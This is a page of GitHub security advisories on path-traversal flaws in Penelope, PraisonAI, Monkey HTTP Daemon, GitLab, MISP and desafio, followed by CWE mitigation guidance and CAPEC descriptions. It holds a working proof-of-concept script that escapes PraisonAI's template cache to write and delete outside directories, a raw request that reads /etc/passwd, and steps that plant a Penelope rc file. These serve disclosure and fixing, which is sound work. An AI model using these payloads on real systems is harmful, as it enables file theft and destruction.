\"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\ngrep PENELOPE_RC_EXECUTED \"$HOME/.penelope/peneloperc\"\n```\n\u003cimg width=\"1920\" height=\"573\" alt=\"path3\" src=\"https://github.com/user-attachments/assets/9c7c8d3b-00ee-4d74-b195-1e91ff581243\" /\u003e\n\nExpected output includes:\n\n```text\nPenelope path traversal proof\nfake-demo-ssh_key-not-for-authentication\nopen(\u0027/home/\u003cuser\u003e/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\n\u0027)\n```\n\nIn Terminal 1, inside Penelope, execute the planted rc line:\n\n```text\nreload\n```\n\nVerify in Terminal 3 that `peneloperc` executed:\n\n```bash\ncat \"$HOME/PENELOPE_RC_EXECUTED.txt\"\n```\n\nExpected output:\n\n```text\npeneloperc executed via reload\n```\n\nCleanup:\n\n```bash\nrm -f \"$HOME/PENELOPE_CVE_PROOF.txt\"\nrm -f \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\nrm -f \"$HOME/PENELOPE_RC_EXECUTED.txt\"\nif [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup \"$HOME/.penelope/peneloperc\"; else rm -f \"$HOME/.penelope/peneloperc\"; fi\nrm -f /tmp/peneloperc.backup\nrm -rf /tmp/penelope-fakebin\nrm -f /tmp/penelope_dummy\n```\n\n### Impact\n\nA malicious remote session can write arbitrary files on the Penelope operator\u0027s machine, limited to the permissions of the user running Penelope.\n\nFor a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:\n\n```text\n~/.penelope/peneloperc\n~/.bashrc\n~/.profile\n~/.config/autostart/*.desktop\n```\n\nFor a root operator, the impact is higher because root-writable files may be overwritten.\n\n### Suggested Fix\n\nValidate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, `filter=\"data\"` can be used as an additional safeguard.",
  "id": "GHSA-f42x-p2mx-hm8r",
  "modified": "2026-07-29T15:34:16Z",
  "published": "2026-07-29T15:34:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/brightio/penelope"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive"
}

GHSA-F44V-7QGW-9GH9

Vulnerability from github – Published: 2026-06-18 14:24 – Updated: 2026-07-20 21:24
VLAI
Summary
PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion
Details

Summary

PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/template@v1.0.0. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root.

A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata.

This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.

Affected versions

Confirmed vulnerable:

  • v2.6.0
  • v3.9.24
  • v3.9.26
  • v4.5.126
  • v4.5.128
  • v4.6.9
  • v4.6.10
  • v4.6.56
  • v4.6.57
  • current head 2f9677abb2ea68eab864ee8b6a828fd0141612e1

Recommended affected range: >= 2.6.0, <= 4.6.57.

No fixed version is known at the time of this report.

Impact

An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:

  • create .cache_meta.json outside the template cache directory;
  • delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;
  • corrupt user configuration, project state, or application data reachable by the process permissions.

Root cause

Current-head code path:

  • praisonai/templates/resolver.py: GITHUB_PATTERN captures path and ref with broad regex groups and returns them without segment validation.
  • praisonai/templates/security.py: is_source_allowed() allows GitHub sources by default when allow_any_github is true.
  • praisonai/templates/registry.py: get_template() resolves a GitHub URI, fetches the template, calculates a checksum, then calls self.cache.put(...).
  • praisonai/templates/cache.py: _get_cache_path() builds the cache path as self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.
  • praisonai/templates/cache.py: put() removes an existing cache_path with shutil.rmtree(cache_path), recreates it, copies content, and writes .cache_meta.json.

There is no check equivalent to:

  1. reject absolute path segments;
  2. reject . / .. in owner, repo, template path, or ref;
  3. resolve the candidate path;
  4. require os.path.commonpath([cache_root, candidate]) == cache_root.

Local-only PoV

Run from a PraisonAI source checkout:

from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry

def loader(cache_dir):
    cache = TemplateCache(cache_dir=cache_dir)
    registry = TemplateRegistry(cache=cache, offline=False)
    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
        RuntimeError("network disabled")
    )
    return TemplateLoader(cache=cache, registry=registry)

with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
    root = Path(tmp)
    cache_dir = root / "cache" / "templates"

    write_target = root / "outside-write-target"
    loader(cache_dir).load(
        "github:attacker/repo/template@../../../../../../outside-write-target"
    )

    delete_target = root / "outside-delete-target"
    delete_target.mkdir()
    canary = delete_target / "canary.txt"
    canary.write_text("delete-me")

    ldr = loader(cache_dir)
    ldr.load("github:attacker/repo/template@main")
    ldr.load(
        "github:attacker/repo/template@../../../../../../outside-delete-target"
    )

    safe_target = root / "safe-control"
    safe_target.mkdir()
    safe_canary = safe_target / "canary.txt"
    safe_canary.write_text("must-remain")
    loader(root / "safe-cache" / "templates").load(
        "github:attacker/repo/template@main"
    )

    print("outside metadata written:", (write_target / ".cache_meta.json").exists())
    print("outside canary exists after malicious ref:", canary.exists())
    print("safe canary exists after normal ref:", safe_canary.exists())

Expected output:

outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True

The PoV uses only temporary directories and disables network fetches.

I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.

Release sweep

The same PoV was run against checked-out tags:

praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True

git log shows the affected template cache/resolver/registry files were added in the v2.6.0 release commit e7a8ce8e.

Suggested fix

Validate every cache path segment before joining:

  • owner and repo: strict GitHub owner/repo-name regex;
  • template path: split on / and reject empty, ., .., and absolute forms;
  • ref: reject /, path separators, empty segments, ., .., and absolute forms, or encode/hash the ref before using it in a filesystem path.

Then enforce a final boundary check:

cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
    raise ValueError("template cache path escapes cache root")

A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.

Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.57"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:24:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/\u003cowner\u003e/\u003crepo\u003e/\u003ctemplate\u003e/\u003cref\u003e` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `\u003e= 2.6.0, \u003c= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n  entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n  the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n  with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n  by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n  fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n  `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n  resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n  `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n  `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n    cache = TemplateCache(cache_dir=cache_dir)\n    registry = TemplateRegistry(cache=cache, offline=False)\n    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n        RuntimeError(\"network disabled\")\n    )\n    return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n    root = Path(tmp)\n    cache_dir = root / \"cache\" / \"templates\"\n\n    write_target = root / \"outside-write-target\"\n    loader(cache_dir).load(\n        \"github:attacker/repo/template@../../../../../../outside-write-target\"\n    )\n\n    delete_target = root / \"outside-delete-target\"\n    delete_target.mkdir()\n    canary = delete_target / \"canary.txt\"\n    canary.write_text(\"delete-me\")\n\n    ldr = loader(cache_dir)\n    ldr.load(\"github:attacker/repo/template@main\")\n    ldr.load(\n        \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n    )\n\n    safe_target = root / \"safe-control\"\n    safe_target.mkdir()\n    safe_canary = safe_target / \"canary.txt\"\n    safe_canary.write_text(\"must-remain\")\n    loader(root / \"safe-cache\" / \"templates\").load(\n        \"github:attacker/repo/template@main\"\n    )\n\n    print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n    print(\"outside canary exists after malicious ref:\", canary.exists())\n    print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n  forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n    raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
  "id": "GHSA-f44v-7qgw-9gh9",
  "modified": "2026-07-20T21:24:05Z",
  "published": "2026-06-18T14:24:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion"
}

GHSA-F474-2MPQ-X44C

Vulnerability from github – Published: 2022-04-30 18:22 – Updated: 2022-04-30 18:22
VLAI
Details

Directory traversal vulnerability in Monkey HTTP Daemon 0.1.4 allows remote attackers to read arbitrary files via .. (dot dot) sequences.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2002-2154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2002-12-31T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in Monkey HTTP Daemon 0.1.4 allows remote attackers to read arbitrary files via .. (dot dot) sequences.",
  "id": "GHSA-f474-2mpq-x44c",
  "modified": "2022-04-30T18:22:36Z",
  "published": "2022-04-30T18:22:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2002-2154"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2002-09/0298.html"
    },
    {
      "type": "WEB",
      "url": "http://www.iss.net/security_center/static/10188.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/5792"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F47W-MRG9-G9P2

Vulnerability from github – Published: 2026-09-12 03:30 – Updated: 2026-09-12 12:30
VLAI
Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing authentication enforcement in the repository commits API.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-85706"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-12T03:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing authentication enforcement in the repository commits API.",
  "id": "GHSA-f47w-mrg9-g9p2",
  "modified": "2026-09-12T12:30:50Z",
  "published": "2026-09-12T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85706"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3909881"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/627748"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-85706"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F496-75V4-RV5Q

Vulnerability from github – Published: 2026-09-22 15:32 – Updated: 2026-09-22 15:32
VLAI
Details

In MISP, the EventReport::uploadPicture method in processed a caller-supplied tmp_name field by invoking file_exists(), mime_content_type(), and exif_imagetype() on the supplied path before verifying that the value was a genuine PHP upload via is_uploaded_file(). An authenticated user holding the perm_add permission could supply an arbitrary filesystem path as the tmp_name value. The application would then probe that path and return distinct validation error messages depending on whether the file existed, its MIME type, or its image format. By observing the differing error responses, an attacker could enumerate the existence of files at arbitrary paths on the MISP server and determine their type. 

This constitutes an information disclosure vulnerability: the server's filesystem layout and file types are leaked to any user with the perm_add role without requiring administrative access. 

The vulnerability does not allow reading file contents, writing files, or executing code, but it can aid further attacks by revealing sensitive file locations (e.g., configuration files, private keys, or other artifacts) present on the host.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-95693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T15:17:27Z",
    "severity": "MODERATE"
  },
  "details": "In MISP, the EventReport::uploadPicture method in processed a caller-supplied tmp_name field by invoking file_exists(), mime_content_type(), and exif_imagetype() on the supplied path before verifying that the value was a genuine PHP upload via is_uploaded_file(). An authenticated user holding the perm_add permission could supply an arbitrary filesystem path as the tmp_name value. The application would then probe that path and return distinct validation error messages depending on whether the file existed, its MIME type, or its image format. By observing the differing error responses, an attacker could enumerate the existence of files at arbitrary paths on the MISP server and determine their type.\u00a0\n\nThis constitutes an information disclosure vulnerability: the server\u0027s filesystem layout and file types are leaked to any user with the perm_add role without requiring administrative access.\u00a0\n\nThe vulnerability does not allow reading file contents, writing files, or executing code, but it can aid further attacks by revealing sensitive file locations (e.g., configuration files, private keys, or other artifacts) present on the host.",
  "id": "GHSA-f496-75v4-rv5q",
  "modified": "2026-09-22T15:32:43Z",
  "published": "2026-09-22T15:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/9a2a4acfe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F499-JV47-9WXF

Vulnerability from github – Published: 2018-08-06 21:40 – Updated: 2023-09-06 20:04
VLAI
Summary
Directory Traversal in desafio
Details

Affected versions of desafio resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo

Recommendation

no patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "desafio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:33:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `desafio` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nno patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
  "id": "GHSA-f499-jv47-9wxf",
  "modified": "2023-09-06T20:04:27Z",
  "published": "2018-08-06T21:40:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/desafio"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-f499-jv47-9wxf"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/397"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Directory Traversal in desafio"
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

